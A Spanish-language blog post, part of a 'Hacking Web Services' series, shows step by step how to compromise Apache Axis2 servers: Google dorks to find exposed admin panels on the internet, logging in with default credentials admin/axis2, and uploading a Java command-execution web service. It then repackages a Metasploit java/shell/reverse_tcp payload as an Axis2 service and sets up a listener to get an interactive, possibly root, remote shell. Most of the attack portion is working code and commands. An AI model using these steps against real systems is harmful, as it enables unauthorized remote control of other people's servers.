martes, 27 de diciembre de 2011

Hacking Web Services [Parte III]

Para programar un Web Service necesitamos de un "SOAP Engine". Es decir, un motor que implemente el protocolo SOAP y se encargue de la serialización y deserialización de mensajes. Este motor debe abstraer todos los detalles del protocolo en sí para permitir al programador concentrarse en codificar la lógica de la aplicación.

Por el lado de Java podemos utilizar "Axis2" como SOAP Engine. Axis2 se usa básicamente de dos formas:

Desde el lado del cliente se usa como una librería que permite construir los objetos proxy a partir del documento WSDL para enviar y recibir mensajes del servidor.

Y desde el lado del servidor se usa como una aplicación java para desplegar web services. Esto es, maneja los mensajes SOAP y genera los documentos WSDL. Además proporciona una interface web de administración para facilitar el subir, activar y desactivar servicios web. Como cualquier aplicación web java, corre sobre un servidor de aplicaciones o contenedor de servlets como por ejemplo Apache Tomcat.

¿Qué hay con todo esto?  Bien, pues la interface de administración de Axis2 viene con usuario y contraseña por defecto y en internet no son pocos los que se han dejado las credenciales tal cual. Esto nos permite programar un web service que ejecute comandos en el servidor, desplegarlo y obtener una shell remota con extrema sencillez.

Veamos como hacerlo...

Lo primero será buscar un servidor Axis2. Podemos utilizar cualquiera de estos dorks:

inurl:"/servlet/AxisServlet" +"And now... Some Services"
inurl:"/services/listServices" +"Available services"
intitle:"Axis2 Happiness Page" +ext:jsp

Fig. 1 - Buscando servidores Axis2.

Luego de encontrar un servidor Axis2, vamos al formulario de login y probamos el user y pass por defecto: admin/axis2. Si son aceptados, pues ya estamos dentro. La URL del formulario de login es similar a esto:

http://example.com:8080/axis2/axis2-admin/

Fig. 2 - Login de Axis2.

Por obvias razones, a partir de ahora haré todo lo demás sobre mi propio servidor axis2. Si quieres practicar esto, puedes descargarte el ".war" de axis2 desde aquí. Luego solo es descomprimirlo y meter el .war en el directorio "webapps" del Tomcat.

Dentro de la interfaz de administración, veremos la opción "Upload Service".

Fig. 3 - Upload Service.

Esta opción nos muestra un formulario para desplegar nuestros web services.

Fig. 4 - Axis2 deployer.

Lo siguiente será programar una clase java que ejecute comandos en el servidor y empaquetarla adecuadamente para que sea reconocida por axis2 como un web service.

Crearemos un archivo llamado "Shell.java" con el siguiente contenido:

import java.util.Scanner;

public class Shell {
 
 public String exec(String x) {
  String o = "";
  try {
   Process p = Runtime.getRuntime().exec(x);
   Scanner s = new Scanner(p.getInputStream());
   while(s.hasNext()) {
    o += s.nextLine() + "\n";
   }
  } catch (Exception e) {
   o = "Execution failed!";
  }
  return o;
 }

}

Esta es una shell muy básica y nada interactiva. Luego veremos como obtener una shell interactiva usando metasploit. Pero por ahora basta para entender la idea.

Compilamos el archivo "Shell.java" para generar el "Shell.class" así:

$ javac Shell.java

Ahora creamos un directorio llamado "META-INF" y dentro un archivo con el nombre "services.xml". Este archivo se encarga de mapear la clase y los métodos del web service.

Escribimos lo siguiente dentro de services.xml:

<?xml version="1.0" encoding="UTF-8"?>
<service>
 <messageReceivers>
  <messageReceiver mep="http://www.w3.org/2004/08/wsdl/in-out" class="org.apache.axis2.rpc.receivers.RPCMessageReceiver" />
 </messageReceivers>
 <parameter name="ServiceClass">Shell</parameter>
 <operation name="exec" mep="http://www.w3.org/2004/08/wsdl/in-out"/>
</service>

Finalmente empaquetamos la clase compilada y el directorio META-INF así:

$ zip -r Shell.aar Shell.class META-INF

Te debe generar un archivo "Shell.aar", si es así ya tienes tu web service listo.

Lo siguiente es subir el fichero Shell.aar con el deployer de Axis2. Luego en la opción "Available Services" deberás ver tu nuevo servicio "Shell".

Fig. 5 - Shell service.

Si damos clic sobre el nombre del servicio, veremos su documento WSDL. Solo queda copiar la URL del WSDL, que debe ser similar a esto:

http://example.com:8080/axis2/services/Shell?wsdl

Y meterla en SOAPui para empezar a jugar con nuestra Shell.

Fig. 6 - Ejecutando comandos.

Bien, con esto ya podemos hacer algunas cosas pero no es muy cómodo para largas sesiones de "trabajo".

Lo siguiente que veremos será como obtener una shell interactiva usando un payload java de metasploit. Pero antes debo mencionar que metasploit ya incluye un modulo que aprovecha las credenciales por defecto de axis2 este es "exploit/multi/http/axis2_deployer", sin embargo no me ha funcionado correctamente. Luego de subir el web service, no llega a crear la sesión.

El payload java que utlizaré es "java/shell/reverse_tcp". Puedes ver otros payloads java con el comando:

$ msfpayload -l | grep java

Pero vale decir que no funciona con todos.

Primero generaremos un ".war" del payload mencionado anteriormente con el siguiente comando:

$ msfpayload java/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 W > payload.war

Debes cambiar el LHOST y LPORT por los que vayas a usar.

Ahora debemos desempaquetar el .war, modificar algunas cosas y reempaquetarlo como un web service para axis2 (.aar).

Lo desempaquetamos así:

$ unzip payload.war

Nos creará un directorio "WEB-INF" con la siguiente estructura:

WEB-INF/
|-- classes
|   |-- metasploit
|   |   |-- Payload.class
|   |   `-- PayloadServlet.class
|   `-- metasploit.dat
`-- web.xml

Solo nos interesa todo el contenido del subdirectorio "classes". Lo copiamos al directorio de trabajo actual:

$ cp -r WEB-INF/classes/* .

El "*" es importante ya que indica que queremos copiar solo el contenido más no el mismo directorio "classes".

Si quieres ya puedes borrar el directorio WEB-INF.

$ rm -r WEB-INF/

Ahora toca crear el directorio "META-INF" y dentro el "services.xml" para mapear el web service.

$ mkdir META-INF && touch META-INF/services.xml

Dentro de services.xml, escribimos lo siguiente:

<?xml version="1.0" encoding="UTF-8"?>
<service>
 <messageReceivers>
  <messageReceiver mep="http://www.w3.org/2004/08/wsdl/in-out" class="org.apache.axis2.rpc.receivers.RPCMessageReceiver" />
 </messageReceivers>
 <parameter name="ServiceClass">metasploit.PayloadServlet</parameter>
 <operation name="run" mep="http://www.w3.org/2004/08/wsdl/in-out"/>
</service>

Por último empaquetamos los archivos y generamos el "payload.aar".

$ zip -r payload.aar metasploit.dat metasploit/ META-INF/

Desplegamos el "payload.aar", obtenemos la URL del web service y la metemos en el SOAPui como hicimos anteriormente con el Shell.aar.

Fig. 7 - payload web service.

Vemos que hay un único método "run" y que no recibe ningún parámetro. Este método ejecuta el payload en el servidor y este a su vez lanza la conexión inversa para establecer la shell interactiva.

Así que antes de llamar al método run debemos dejar un handler escuchando la conexión. Ejecutamos lo siguiente:

$ msfcli multi/handler PAYLOAD=java/shell/reverse_tcp LHOST=0.0.0.0 LPORT=4444 E


Por último ejecutamos el método run desde SOAPui y esperamos a que se establezca la conexión en el handler. Entonces tendremos nuestra shell interactiva.

Fig. 8 - Shell interactiva.

Y para terminar, si dejarse las credenciales por defecto es grave. Tener, además el Tomcat corriendo como "root" ya es crítico. Y en internet pueden encontrarse muchos Axis2 en servidores Tomcat corriendo con los máximos privilegios.

Fig. 9 - Axis2 con permisos de root.

Si es nuestro caso, entonces nuestra shell también tendrá todos los permisos para hacer y deshacer lo que queramos }xD

Saludos.

Actualización:

Otros capítulos de la serie:

5 comentarios:

  1. excelente man, gracias por compartirlo!

    ResponderEliminar
  2. Thank you for taking the time to provide us with your valuable information. We strive to provide our candidates with excellent care and we take your comments to heart.As always, we appreciate your confidence and trust in us.
    Java Training in Chennai

    ResponderEliminar